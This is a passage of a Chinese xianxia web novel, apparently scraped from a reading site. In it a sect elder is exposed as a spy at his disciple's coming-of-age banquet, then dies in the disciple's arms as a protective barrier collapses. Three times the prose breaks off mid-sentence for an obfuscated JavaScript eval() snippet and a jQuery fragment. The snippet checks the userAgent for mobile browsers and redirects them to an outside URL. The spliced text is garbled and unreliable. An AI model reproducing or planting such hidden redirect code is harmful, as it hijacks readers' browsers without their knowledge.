随后拍了拍一侧挂着的白金色华服,“快来试试衣服合不合身。” 合身自然是合身的。 温卓平日穿宽松的玄色单袍穿惯了,乍然一换上修身的重工锦袍有些不适应。 他皱着眉用下巴碰了碰立挺的领口,“不舒服。” 玉阑音此时正垂着头替他系着腰间挂穗。 闻言一笑,“不舒服就对了。” 这衣服从里到外有三层,贴身的洁白里衣,一层云锦薄纱中衣,最外是很有份量的手工刺绣曳地长袍。 刺绣的丝线是细细的两股,一股金线一股白线,细线绣得很密,远看整个袍子都隐约泛着金光。胸口处金线密密地绣着祥云和云中龙凤,奢华无比。 衣袍极为修身,勾勒出温卓挺拔的体态和身形,宽肩细腰尽显。 他束着高高的马尾,扣着金镶玉的发扣,风一吹还能看见发丝里头藏着的金绺。 好一个春风得意的少年郎。 玉阑音越看越喜欢,没忍住凑上去亲了亲温卓。 他毫不吝啬自己的赞扬,笑道:“真好看。” 温卓摇摇头,眉头依旧蹙得很紧。 “不舒服。” 玉阑音没忍住给了他个脑瓜崩。 “毛病。”他笑骂,“你这已经比我小时候穿的那成套的华服轻便多了。” 温卓也笑了。 “那不一样,你穿着好看。” 玉阑音对温卓的恭维毫不感冒,只一笑。 他看了看外头的天色,“时间差不多了,你先行去凤鸣峰吧,宴会要开始了。” “那你呢?” 温卓听他话里的意思不对,问道。 “我?” 玉阑音笑着拍了拍温卓的肩膀,“我当然也是要换衣服了。只是我迟一会儿无伤大雅,你可是今日宴会的主人,难不成也要晚到?” 温卓从善如流地点点头,临走还不忘嘱咐道:“那你快些。” 等他到了凤鸣峰的时候,十方宗参加宴会之人已经到了大半。 斗宗药宗,认识的不认识的,三三两两前来同他道贺,温卓心不在焉地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840850|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一一回应。 他的视线牢牢地被前方那通天高玉阑音的神像吸引了。 直到赐意宴已经开始了,在金盆中盥洗后,他拿着三炷香,点燃插在了神像前的香炉中,这才对今日之宴席有了几分实质感。 温卓没由来地有些魂不守舍。 他就这么安静地站在神像的脚底,尽情地仰望着他的爱人。 “一一。” 前方长阶之上,一人姗姗来迟,他站得距离温卓极远,身形不甚清晰影影绰绰,但声音却带着笑意极为清晰地传到了发愣的温卓耳中,“怎么不拜?” 这声音响起的瞬间,温卓便恍然回了神。 方才长久焦躁不安的一颗心瞬间被安抚,归了原位。 他来了。 温卓睫毛扑簌一动。 他飞快地掩下眼中的情绪,垂首,朝着玉阑音云州上仙的神像恭恭敬敬一拜。 其实拜礼之时他应念拜辞:“冠冕有加,威仪赫赫,受天之枯,受地之祚,克勤克俭,毋怠毋荒。” 但温卓此时胸口滚烫,一阵血气上涌,直叫他只能心绪震荡着心念两遍“阑音”,再说不出别的话。 他呼吸急促地直起身,强忍着直接冲上去抱住玉阑音的冲动,克制地朝身侧的秦鹤生与善玄一颔首。 不等两人回应,便大步流星朝长阶之上走去。 此时的玉阑音换上了宗门白金色的长老袍,身上零零散散挂了几个同色的玉佩。 他久违地束起了发,一丝不苟,规规矩矩地没留下任何发丝,带着翡翠雕金的长老发扣,此时正笑盈盈地望着急步朝他而来的温卓。 温卓在玉阑音面前半臂远处站定。 他漆黑的眼眸在玉阑音脸上近乎迷恋地停留一瞬,随后重重地垂下。 他垂首拱袖,规规矩矩地行一弟子礼,“师尊。” 玉阑音轻轻应了一声。 长阶之下,四方宾客斟满金樽,起身,双手举之,平齐于胸。 按照仪式,玉阑音略一抬手,心念一动,腰间的灵埙随着他的动作幽幽的发起光。 他温润的手掌上隐约能看见灵力的波动,随后在温卓额前轻轻拂过。 “一加之。” 玉阑音的声音平和到近乎温顺,落在宾客耳中是清润的威严,但落在温卓的耳中却宛如情人床榻之上的耳语,“祝弃尔幼志,顺尔成德。寿考惟祺,介尔景福。” 温卓浑身一麻。 玉阑音稍一停顿,随后又以手指轻点温卓眉心。 “二加之,祝敬尔威仪,淑慎尔德。眉寿万年,永受胡福。” 温卓直直地盯着玉阑音经年苍白寡淡的唇。 “三加之。”玉阑音手腕一翻,一条流光溢彩的金镶玉额链出现在掌心。 他笑着将它系在了温卓的额前,一颗澄澈的水滴状玉石恰到好处地停在眉心,同他锋利的眉骨极为相称,“赐法号,‘尘释’。” 玉阑音的手轻轻下移,最终停在温卓胸口心脏处,引起一阵银白色光华的灵气飘荡。 “祝以岁之正,以月之令。受天之庆,黄耇无疆。” 善玄作为仪式的赞者,从一开始便站在玉阑音身后不远处,确认温卓的额饰佩戴好,他转头朝下方呵道:“礼成!” 随后率先将樽中酒饮尽。 “祝尘释仙尊,受天之庆,黄耇无疆!” 台下四方宾客诵祝词,举杯,一饮而尽杯中酒。 玉阑音将停留在远方的目光收回,缓缓重新落回温卓的身上。 “百岁快乐。”他笑道。 仿佛被这目光灼烧了一般,温卓近乎慌乱地别开了眼。 在别人看不到的角度,他平复了自己急迫的心跳,做贼似地伸手捏了捏玉阑音温热的掌心。 台下宴席自此开始。 作为这场宴会的主人,温卓十分讲礼数地挨桌敬酒。 直至酒过三巡,台下众人颇有酒酣胸胆尚开张之态,划拳取乐声、嬉笑怒骂声不绝入耳。 而就在这时。 凤鸣峰上众人之中,忽然凭空出现般的多了一人的身影。 来人笑意盈盈,身着一袭红袍,胸襟大敞,乌黑的及腰长发松松散散地编成辫子垂在身后,无故显得诡媚又色气。 他在一众白金色的人群之中,如同上好金丝缕缎之上的血点,扎眼极了。 嬉闹之中,不知是谁声色严厉地呵了一声:“达奚恩山?” 这名字在十方宗内已经成了足以草木皆兵的禁语。 闻言,众人的嬉笑瞬息之间戛然而止,无数道凶戾的目光齐齐望向这人群中的一抹血色。 “达奚恩山!” 在无数的怒目圆睁之下,达奚恩山却显得如此得怡然自得。 他四平八稳地笑着,略一颔首,算是同这些老熟人们打过了招呼。 “十方宗果然一如从前,设宴铺这么大的阵仗,都传到我这远在须弥之地的闲散人员耳朵里了。只是今日尊主的大好日子,恩山却没能收到邀约,真是叫恩山……” 达奚恩山笑着,望向台上之人的一双眼睛锐利得如同蓄力时的鹰隼,又带着三五分挑衅,“……好生伤心呀。” 89.雨蝶 凤鸣峰上当即一片寂静。 尊……尊主? 什么尊主?达奚恩山在说什么? 来不及冷汗涔涔,立刻便有人下意识将目光转向了台上一身华袍的温卓。 此时台上,温卓锋利又深邃的面容之上沉静如水,看不出思绪。 达奚恩山就像是看热闹不嫌事大一般,好整以暇地添了一把火。 “不过……说是完全没有收到邀约也不太对,”他笑眯眯道,“也还是有人邀请我了的。” 不等温卓对此作出什么回应,他身侧玉阑音的面色率先有些变了。 他开口的声音近乎冷硬,“达奚恩山。” 台下的达奚恩山当着温卓的面,毫不避讳地同玉阑音抛了个媚眼。 “如何?” 宾客之中的秦鹤生脸色比起玉阑音,更是有过之而无不及。 他站起身,十分快速地朝台上的温卓走去,“温卓,这到底是怎么一回事?” 善玄也忍不住直接上步,紧紧扣住了温卓的手腕。 “师弟,”此刻的他是前所未有的严肃,“你解释一下。” 玉阑音略一蹙眉。 可正当他要开口说话时,达奚恩山忽然一个移形换影来到了温卓的身旁。 此时达奚恩山的哪怕一举一动都能叫在场之人胆战心惊,更别提是如今蓦地大动作。 台上所有人当即绷紧了身子。 可当事人达奚恩山依旧一副事不关己懒洋洋的模样。 他不管不顾地勾住了温卓的脖子,毫不理会温卓身上骤然的一僵,笑眯眯道:“不然我来解释两句?” 秦鹤生从来没有觉得自己被人如此蔑视过,更何况是眼前这个如此胆大包天、不知礼数的小辈! 他看着红衣胜血的达奚恩山,几百年前无能为力的怒火登即复燃,雄赳赳地烧得连了天,烧得他头晕眼花。 秦鹤生二话没说,“噌”得一声亮了剑,直逼达奚恩山的喉头—— 要知道,身为掌门的秦鹤生已经将近千年没再拔过剑。 对面。 即将被取了性命的达奚恩山似乎毫不惊慌,甚至十分自得地一挑眉。 就在这电光火石之间,一个意想不到的、绝不应该率先出手的人出了手。 ——是玉阑音。 玉阑音腰间的灵埙幽幽地亮着光,空手接住了秦鹤生灌满灵力的法剑。 他此刻的神色有些说不清道不明的复杂,“鹤生。” 秦鹤生被满目的血色刺得当即回了神。 他颤巍巍地将剑收回,胡子也略微颤抖,“真人……” 温卓下意识就要捉过玉阑音的手仔细查看。 可向来由着他的玉阑音,这一回却轻轻地一翻手腕,不容抗拒地避开了他担忧的手。 温卓愣在了原地。 “嗯哼。” 达奚恩山很高兴地歪了歪头,“看到了吧?我也是有靠山的哦。” 他勾着温卓脖子的手很用力,就仿佛这话并不是朝着在座所有人,而只是朝着温卓一个人说的。 “你们这十方宗的尘释仙尊啊,可还是我们厌族尊主呢。” 达奚恩山话锋一转,笑嘻嘻道,“是不是啊,尊主?” “达奚恩山!” 善玄厉声喝道,“休得胡言乱语!我十方宗子弟岂是能由你外人抹黑的!” “抹黑?” 达奚恩山像是听到了什么好笑的事情,哈哈大笑,“那我接下来不仅要抹黑你们宗门子弟,我可还要抹黑你们宗门长老咯。” 他笑意微敛,将头往旁侧一偏。 “乌鸦,你徒弟在这儿受千夫指呢,你就没点话要说?”他假惺惺地眯了眯眼,“你和他们说说,我们尊主仙界的赐意宴,究竟是谁邀请我来的?” 乌鸦。 方才便觉得有什么事情隐隐脱离了掌控的温卓,七上八下的心终于尘埃落地—— 他浑身血液逆流,脸上再不见一丝血色。 台下的镜遥和君少暄听闻这熟悉的称谓,第一反应简直是以为自己耳朵聋了。 “乌……乌鸦?” 镜遥愣愣地回神,颤抖又无助地看向身旁的君少暄,“是……乌朔?” 君少暄的胸口正在急促地起伏。 他无意识地舔了舔干裂的唇,却惊恐地发现,自己已经发不出声。 “我不是乌鸦。” 人群之后,沉默许久的玉阑音似乎是叹了口气,轻声开了口,“而且你来的太早了,达奚恩山,我话里话外,从来没有要你大闹宴席的意思。” 玉阑音丝毫没有理会浑身颤抖的温卓。 他甚至一次都没有回头看他。 “都差不多嘛,你不是乌鸦,但乌鸦是你。” 达奚恩山耸了耸肩,“不过我闹不闹的……随我心意,你管不着。” 汀芷村一事,由于牵扯到青木,十方宗上下无人不知无人不晓。 乌朔——也就是乌鸦——众人又怎会陌生。 克古鲁怔忪许久。 他转过头看向镜遥和君少暄,不知究竟是在求证还是只是下意识道:“药郎先生他……” 可事实是,没有一个人开口回应他。 “师尊……” “真人——” 秦鹤生和善玄轻声唤道。 此刻他们的声音比起不可置信,更像是惊慌到极点之时不自觉颤抖、求助的叹息。 是,宗门出了叛徒。 达奚恩山,青木,原佰,甚至是恪心、恪云…… 他们有一个抓一个,有两个抓一双。 ……这都无所谓。 作为一个规模空前的硕大的宗门,真要完全做到上下同心未免也不现实。 可是…… 叛徒可以是任何人。 但不应该是玉阑音。 不能是。 ……不能是玉阑音。 “……阑音。” 听闻,正朝着达奚恩山走去地玉阑音终于脚步一顿。 他转过了头,眼中不含一丝笑意,说话却温和得一如往昔,“嗯?” 温卓眼中有血色的红光闪烁。 他十分镇定地取下了自己头上珠光璀璨的额饰,声音听上去也没有任何异样,“是假的,对吗?” 除他以外,台上台下,无数双祈求的眼睛、绝望的目光,尽数落在玉阑音的身上。 “很不幸。” 而在这么多的期待中,玉阑音只是叹惋地摇摇头,“是真的。” “你骗我。”温卓道。 玉阑音好笑地看他一眼。 还没等他开口,达奚恩山率先笑了起来,“是你在骗你自己,温卓。” “师尊……你说实话,你说实话,好吗?” 善玄的声音轻到宛如耳语。 玉阑音的脸色不知从何时忽然变得苍白无比。 他不着痕迹,飞快地略过温卓猩红的眼眸。 “对于我对各位造成的伤害,我很抱歉。其次,现在我想离开,还望各位念念旧情,莫要阻拦。” 玉阑音道,“别让我临走之时,还做得这么难看。” “旧情……” 秦鹤生笑了起来,朗声大笑,直到笑得淌下两行热泪才肯罢休,“真人您可真是……” “好,好,我们不拦你,算是给你‘云州上仙’这么多年的付出一个交代。” 他讽刺似地拍了拍手,“下次见面,你我只为敌,桥归桥路归路,再无情分可言。” 玉阑音像是听不出秦鹤生话中的意思一般,朝他十分从容地一拱手。 随后再朝温卓温和一笑,“须弥之地见,尊主。” 话音未落,等得不耐烦的达奚恩山便晃了晃手腕的银铃。 当即,一阵狂风卷着尘土袭来,众人被呛得眯了眼睛。 可等到他们再次睁开眼睛,玉阑音、达奚恩山、温卓,三人已经齐齐不见了踪影。 一场百岁赐意宴被搅得天翻地覆。 ——不,是比天翻地覆更糟糕、更丑陋。 善玄是所有人中最先回过神来的。 无边的寂静中,只有他动了。 他垂着头,走向玉阑音的神像脚下。 只一顿。 随后善玄手上运起滔天的灵力,灵力的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864040|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨浪击打空气发出嗡响,激得在场所有人耳鸣不止。 “轰隆——” 一声巨响,善玄猛力拍向石雕,笑靥如花的神像顷刻间轰然倒塌,漫天碎石与齑粉倾数洒下。 洋洋洒洒,宛若一场梦碎的雨。 巨响过后,更衬得凤鸣峰之上鸦雀无声。 秦鹤生点点拐杖,望着漫天的石灰,吐出一口浊气。 “都散了吧。” 善玄神色无比平淡。他垂首,拂去肩头无意洒落的灰,再没有抬头看任何人,头也不回地离去。 须弥之地。 温卓眼睛通红地将玉阑音锁在了宫殿之外。 他如同鬼影一般迅猛地袭入,猛地钳住达奚恩山的脖颈,下了死手钉在了宫殿的墙上。 “达奚恩山……”他的声音像是从牙缝里挤出来的,“你满意了吗?” 达奚恩山的脸色涨红,但还是笑盈盈地故作姿态。 “满意……我真的,咳咳……太满意了。”他道,“我就是讨厌你,温卓。我要把你身边所有重要的东西……全部,全部夺走……” “你在生气什么呢温卓……你如今是……是厌族尊主,玉阑音也早就,背叛了十方宗,我……你们还是同一边的……” 达奚恩山扯着嘴角,“你生气他的隐瞒,他对你的背叛?还是……生气他与我的羁绊,要比你多得多……” 温卓毫无征兆地发了狠劲。 达奚恩山已经处在窒息的边缘,眼前发了白。 他无意识地胡言乱语:“温卓,你……你不是想杀我。我知道的,你是个疯子,你想……你想杀的是玉阑音……” 温卓伸出另一只手,死死地拽住达奚恩山的头发,强迫他同自己对视。 “你错了,我永远不会杀他。” 他眼眸猩红,犬齿隐隐有了增长的趋势,说话如同在金属之上摩擦一般刺耳。 “我只会杀了你。” 达奚恩山被温卓的灵压压得动弹不得。 “你不敢杀我的,玉阑音的命在我手里,你不敢杀我的……” 温卓笑了起来。 “达奚恩山,别以为我不知道。”他的声音极轻,“那结界碎片和玉盘碎片,你早就落成法阵安到乌鸦——也就是阑音身体里了。对吧?” 达奚恩山似乎是愣住了。 随即哈哈大笑,尽管笑得极为狼狈,进的气不如出的多。 极度的窒息已经让他一句话都说不出来了。 他的眼前一片空白,意识也不再清晰,隐约中他瞧见了宫殿被强行破开了,那破门而入的人身着长老袍,却只是站在门口。 又叫你得逞了,玉阑音…… 恍惚的白雾中,回忆在晃荡,却难辨真假。 他只看见年轻的自己站在虚空山上的池塘边,身上穿着十方宗的弟子袍,正拿着一包手工汆的鱼食喂锦鲤。 忽然他听到流离所内有人唤他的名字。 “恩山,阵法学完了吗?怎么跑去玩了?” 闻言,他把剩下的鱼食揣进怀里,随后拍了拍身上和手上的灰。 “哦!这就来了!” 小小的少年跑起来,高高束起的马尾甩起来意气风发。 他嬉笑着踹开流离所的门,“师尊!” 那被他称为师尊的人,手中拿着一册书卷和一柄戒尺。 他站在夺目的暖色光中,达奚恩山愣愣地想:哦,是太阳啊。 温卓隐约听见达奚恩山呢喃了一句什么,含混的,听不清的。 “嗯?” “……他是……骗你的……” 达奚恩山瞳孔逐渐涣散,“结界碎片……他骗你的……” 他说不出完整的句子,重重地喘出最后一口气,终于无力地垂下了手。 手腕轻动,引起银铃一阵清脆的铃铃作响。 温卓瞳孔一缩。 他顾不上死去的达奚恩山,近乎慌乱地扔下他,朝后转身看去—— 玉阑音宛若同达奚恩山同频一般,如一只洁白又脆弱的雨蝶,踉跄着撞碎在滔天的大雨里。 破碎地跌落。 “阑音!” 90.弯刀 “阑音!” 温卓根本不敢细想,也不敢有任何一丝犹豫,用了平生最快的速度朝玉阑音奔去,堪堪接住了跌落的玉阑音。 他抱着脸上灰白一片的玉阑音,声音颤抖到说不出话。 “……达奚恩山的确是将结界碎片同占风玉盘融成了一物,毕竟那占风玉盘其内厌族之力滔天,若是不能物尽其用那真不是他的作风。” 那一夜,玉阑音说起这话时略显疲惫的面容仍历历在目。 那晚温卓折腾得他狠了,抗旨不从的时候浑然不觉,但临到事后看着他不太好的脸色还是心下愧疚。 他将玉阑音搂进怀里,不爽地咬了咬他的耳朵,声音闷闷道:“你真了解他。” “少来。他只是在尽最大可能地保护结界碎片——与其说是保我,倒不如说是在保他自己的命。” 玉阑音身上不舒服得厉害,把这咬他耳朵的年轻人往外推了推,“你才同他认识多久,这不也猜到了吗。” 温卓冷哼一声,不搭话。 玉阑音在他怀里找了个舒服的姿势,轻轻阖上眼睛。 “只是我在想……这毕竟是厌族的物件,达奚恩山一介凡人带在身上有何用呢?” 的确,达奚恩山这人向来是极为精明的商贾做派,可谓是不做无用之事、只说无用之话。 占风玉盘即便碎裂依旧力量极强,从前的水牢阵、虚空换便是先例,这最后一片……由他自己留着未免是有些暴殄天物。 温卓心念一动,“你的意思是……乌朔?” “对。” 玉阑音稍一点头,并且适时地露出略赞扬的神情,“乌朔若真如我们所猜想的,是非自然创生的厌族,玉盘和结界在他的身上大概是最为合理的猜测。” 温卓稍一蹙眉,“将结界完全置于身外,如此是不是太过冒险?” “未必然。”玉阑音一挑眉,“灯下黑才是他这种赌徒最爱玩的把戏。” “其次……假作真时真亦假,即便乌朔真的死了、我也死了、结界也碎了,可若非知晓内幕之人,又怎么会往这处怀疑呢?” 玉阑音的面上是有一丝极为张扬的信誓旦旦,“他只需要不断地掀风掀浪,让我们相信结界最后一角在他身上,如此就够了。” …… 回忆翻涌,却都在看到此时毫无生机的玉阑音时破碎。 “……你骗我……阑音。” 温卓不住地吻着玉阑音的眉心,向来古井无波深湖般的双眼中满是碎裂的绝望,“你骗我……” 怀里的玉阑音还有一口气。 “……对不起。” 他想伸手摸一摸温卓的发鬓,却发现已经很难做到了,“乌朔……诞生之时,是用了玉盘中的厌族之力不假……但之后……归根结底,是我散了一半神识进去,才得以催动的……” 世界上从来不存在单方向的渗透。 当达奚恩山的手伸进十方宗的时候,玉阑音其实也早就将枝蔓伸进了须弥之地—— 谁叫整个修仙界忌惮云州结界,遂无一人敢对达奚恩山动手呢? 于是他又干起那伤敌一千自损八百的事儿,决定亲力亲为,自己来。 只可惜,这千算万算,万万没算到自己的神识一入体,居然直接把那傀儡乌鸦干扰地长成和他一样模样。 暗中潜入的第一步就崴了脚,甚至是被达奚恩山逮了个正着。 于是玉阑音只得自认倒霉,将错就错,干起假意投敌的间谍的勾当。 他这做法可谓是又疯又癫,没给自己留一点后路—— 毕竟那时候他一人吃饱全家不饿,乐得清闲。 可玉阑音做梦都没想到,就在第二年,他便在札布萨遇到了那个在茅草屋前劈柴烧水的孩子。 那个他等待了一千年之久的故人。 若温卓真是个凡人,玉阑音自然愿意闭着眼睛,将一切天下生死抛之脑后,同达奚恩山得过且过,只管同他的爱人今宵梦好。 可坏就坏在……温卓是厌族。 “……我不是没动过私心……” 玉阑音的意识逐渐不清,断断续续的,自己也不知道自己究竟说了些什么,“可是我发现,即便我什么都没说,什么都没做,你也还是作上厌族尊主了……” 玉阑音潜伏多年,久久没对达奚恩山动手的唯一原因便是顾虑结界若是消失,天下落得个重归混沌,千年之战再现的结局。 可是温卓是厌族啊。 玉阑音不止一次理性分析过。 若是真能扶植温卓作厌族尊主,即便结界真的随着他的身殒而消散……大概也能落下个天下太平的结果吧。 可命运无常,冥冥之中总是指向某一处远方。 命运就是要让天下有情人从相遇之时就要数着指头准备告别。 他总算是看明白了,自己人生的第一颗纽扣就扣歪了,往后再不会有亡羊补牢,而只有错上加错。 天道昭昭,越想逃避就越是逃避不了。 “……我听见有人催着我动手了,是命运的马车轧过路面的声音。” 玉阑音轻吻着温卓颤抖的指尖,“可是我还想再留一会儿。我本想……陪你过了百岁,我再走。” 他近乎自嘲地一笑。 “可是你看……即便我特地嘱咐过的,可达奚恩山还是要在,宴席没结束的时候……就来了。” 温卓其实不确定自己听没听清,又或是听到了什么。 他只知道自己的手脚此时凉得没了知觉,泛出青紫色。 须弥之地外传来震耳欲聋的轰隆声。 无数厌族刺耳的嘶鸣声穿透墙壁,响彻整个宫殿。 “结界碎啦——” “云州结界碎啦——” “温卓……你那时候说,你要同仙门人士说……我是被你掳来的……” 玉阑音轻声道,“……那现在可能要反过来了。你不要同仙门交恶……逢人要说,一切都是我的错,是我逼你的……听到了吗?” 温卓听不清玉阑音说话,他只觉得身上好疼。 头也好疼,比以往任何时候都要疼,疼得他觉得自己大概已经要疯了。 玉阑音的生命体征正在缓慢却不容更改地流失着。 可是就在这时,他忽然睁了睁眼,吃力地勾了勾温卓的手指,“……疼吗?” 温卓眼中一片猩红。 他耳畔嗡鸣,识海一片翻江倒海,他听不清,也看不清,不确定自己想说的“疼”究竟有没有说出口。 他只看见玉阑音忽然隐忍地红了眼睛,偏过了头。 “对不起……” 温卓思绪滞涩,他强忍住撕碎天地的冲动,愣愣地看着怀中的人。 他不明白玉阑音为什么要和他道歉。 该道歉的人明明是他。 若是他没有答应达奚恩山作厌族尊主。 若是他没有向他表过心意。 又若是他……从来没有出现过。 是不是结局就不会沦落至此。 阑音…… 他一定会在玉府安安稳稳地长大,娶妻生子,一生顺遂。 这才是他应得的。 “阑音,我……” 温卓张开口,却不知道要说什么,他总觉得自己明明有好多好多话想要说,但是悉数哽在喉头,让他有些作呕。 “……我知道你疼,别害怕……别害怕……” 玉阑音的声音已经低得听不清,“我走了之后……你会疼,但是别害怕,温卓……别害怕,平心静气,切勿思虑过重……会好的,别害怕……” “我听不见。” 温卓道,“玉阑音,我听不见,你给我醒过来,好好和我说。” 可是玉阑音已经什么都说不出口了。 须弥之地外狂风大作,宛如地震的地鸣长鸣不止。 宫殿为数不多的两扇窗在喧嚣的狂风中哐啷作响。 玉阑音是真的舍不得闭上眼睛。 也不知鹤生和善玄有没有记恨温卓…… 也不知温卓有没有听进去,要记得回去同十方宗的人道歉…… 他明明把温卓托付给了好多人,但总还是觉得不能心安。 因为他最想托付给的人其实是未来的自己。 不会有人比他更爱温卓了。 但也很可惜,他再也没有未来了。 玉阑音还有好多话想说,还有好多叮咛和嘱咐没能说出口。 他甚至来不及道别,更来不及亲吻,他只在意识消散之前,轻轻往温卓手中塞了一个很凉、很锋利的东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868246|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伴随着一声轻轻地叹息,他终于顺应天道,闭上了双眼。 眼角的泪干涸了,面色沉静如水,仿佛只是在一个稀松平常的晚上睡着了,仿佛等待他的只是当晚的好梦一场。 “……阑音。” 温卓唤了一声,没有人回答。 他低头看看自己的手里—— 手中,是一把小小的弯刀,柄上镶着红钻石。 毫无征兆地,随着他低头去看弯刀的动作,忽然一阵猛烈到几乎将他击倒的疼痛袭来。 这疼痛来的太过猛烈,以至于温卓已经分不清究竟是哪里在疼,五脏六腑宛如移了位,头疼得叫他难以自抑地呻吟出声。 “阑音……” 依旧没有人回应。 温卓脸上绝望至极点的悲伤不在,甚至找寻不到一丝源于情谊的正面情绪。 他的表情堪称扭曲,眼中血色的猩红燃烧着愤怒的火。 “玉阑音,你给我醒过来。” 温卓的呼吸粗重地如同破落了的风箱,他死死地抓住玉阑音的前襟,“你他妈给我醒过来!你给我解释!这究竟是什么!玉阑音!” 他捏着弯刀的那只手极为用力,骨节泛白,双手止不住地颤抖着。 “你他妈解释给我听啊!玉阑音!” …… 百年前,札布萨药居。 夜半子时。 昏黄的汽灯下,玉阑音站在侧卧的床边,神色忧虑地俯下身,摸了摸温卓火炉似的滚烫的额头。 “怎么不退烧呢……” 他喃喃自语,“这厌族神识觉醒起来未免也太霸道了……” 玉阑音捏了捏眉心,松手之时眼睑平白多了几层思虑过重的深褶。 象征性地又翻了翻桌上的几册药经,最终也只是重重地叹一口气。 他深知自己经脉受损得太严重了。 这北塞天远地偏,灵力也稀薄得要命,内化自然灵力显然也是天方夜谭。 在这种鸟不拉屎的地方,连最普通的疗愈法术用着都费劲。 动不动就要把伤口移到自己身上,拿自己当受体—— 玉阑音连连叹着气,手上动作却不停,替温卓更换了额头上敷着的毛巾。 他取来一只小碗,右手拿着短柄弯刀—— 死马当活马医,只盼着这压箱底的法器能真切地起到一点用处吧。 往胳膊上划了个口子,滴滴嗒嗒地放血,放着放着伤口止血了,他就再划一道。 如此数次,终于好歹是放满了小半碗。 “阑音!” 床榻之上突然传来惊慌的一声呼喊,吓得玉阑音手一抖,险些把面前盛血的碗砸碎。 年幼的温卓忙不失迭地就想爬起身。 只可惜他实在是烧得太严重了,前脚刚撑起身子,后脚脸一白,紧接着便“噗通”一声栽了回去。 玉阑音顾及不上自己左手手腕滴答的血了,刚忙过去将病恹恹的温卓扶正,随后将他本本分分地塞进被子。 又将滑落的毛巾重新覆在温卓的额头上。 等到玉阑音再度回到床榻之前,他手上的半碗鲜血已经不知经过了什么秘术,居然凝成了一个水滴状的,发着光的血珠子。 走进床榻,将这颗血珠子捏碎在温卓的口中。 “苍天在上,一定要起作用……” 玉阑音双手合十,又转了转手腕上的佛珠,在心中接连祈祷数次。随后在床头前的矮凳上坐下,有些焦灼地等待着什么。 直到他忽然感觉到胸口密密麻麻地袭来一股刺痛,额角也伴随着剧痛咚咚跳起。 不知是因为失血还是因为隐隐泛上来的疼痛,玉阑音的脸当即褪去了血色,苍白得如同书桌上的宣纸。 可是与之相反的,他紧绷了一整晚的肩膀终于像是大功告成了一般松懈下来,强忍地颤抖,玉阑音终于呼出了今晚第一口浊气。 ……以后就由我来替你吧。 这一世活多久,便心甘情愿替你疼多久。 玉阑音抬手摸了摸温卓汗湿的发鬓,轻垂着眼睫,无情的慈悲相在昏黄的光下无端显得多情。 我向神明起誓。 他屏住颤抖的呼吸,在温卓的鼻尖落下一个温和的、虔诚的吻。 我是真的,真的很爱你。 91.失重 “玉阑音,你他妈说话啊……” 温卓一遍一遍说着,直到弯刀的刀刃微微刺进他的掌心,鲜血顺着手腕滴进玉阑音的领口,触目惊心的苍白之上一道血红,刺痛他的神经。 可是这个荒谬的世界甚至没有留给他落泪的时间。 “尊主!尊主!” 宫殿的门被敲得咚咚响,门外一道尖锐的呼唤声传来——是守宫殿的侍卫。 “尊主!” 卑躬屈膝、长相清奇的丑陋的侍卫急匆匆地敲着门,声音在呼啸的风与嗡响的地鸣中不甚清晰。 忽然,门自内向外像是被气浪撞开的,“哐”一声开了,门开得又快又急,直接给了门外侍卫结结实实一耳光。 那灰扑扑暗淡得像影子一般侍卫吃痛地捂了捂脸,“尊主……” 他原本是眼观鼻鼻观心地老实垂手站着的,可这门一开,他下意识往殿内一瞥—— 他们刚上任不久的厌族尊主正跪蹲在不远处,怀中紧紧抱着一个白色的身影,被温卓的脊背遮挡了大半面容,侍卫只是慌乱之中匆匆一瞥,没能瞧得真切。 不过更远处,倚着墙壁临死不能瞑目的那人他倒是看了一清二楚。 “啊!” 侍卫意识到自己惊呼出声,连忙把捂着脸的手往下一挪,捂住了嘴。 那……那不是他们的前任尊主,达奚恩山么…… 怎么会…… 就在这时,温卓一双猩红到仿佛要滴下血的眼睛直直地盯住了他。 这双眼睛出乎意料的并不凶戾,更如阴鸷的鹰隼一般凛冽,叫同他对视的侍卫当即遍体生寒。 他们这个新尊主行踪诡秘,整个厌族,除了左右护卫乌鸦和原佰,另加上方卸任的达奚恩山,见过他本人的寥寥无几。 ——他们大多死在了温卓血洗夜雀宫的当晚。 侍卫打了几个颤,生怕自己血溅当场。 他哆哆嗦嗦地壮着胆子道:“尊主,云州结界突然碎了……就突然,‘哗啦’的一声……” 他越说声音越小。 因为他也不知道为什么越说,他们尊主的眼睛便越红。 简直像是要活剥了他的皮似的,侍卫左思右想,是真的不敢说下去了。 临闭嘴之前,他还是铆足了劲鼓足勇气,“……我听右护卫的意思是问,想要趁乱攻入云州大陆……” “右护卫?” 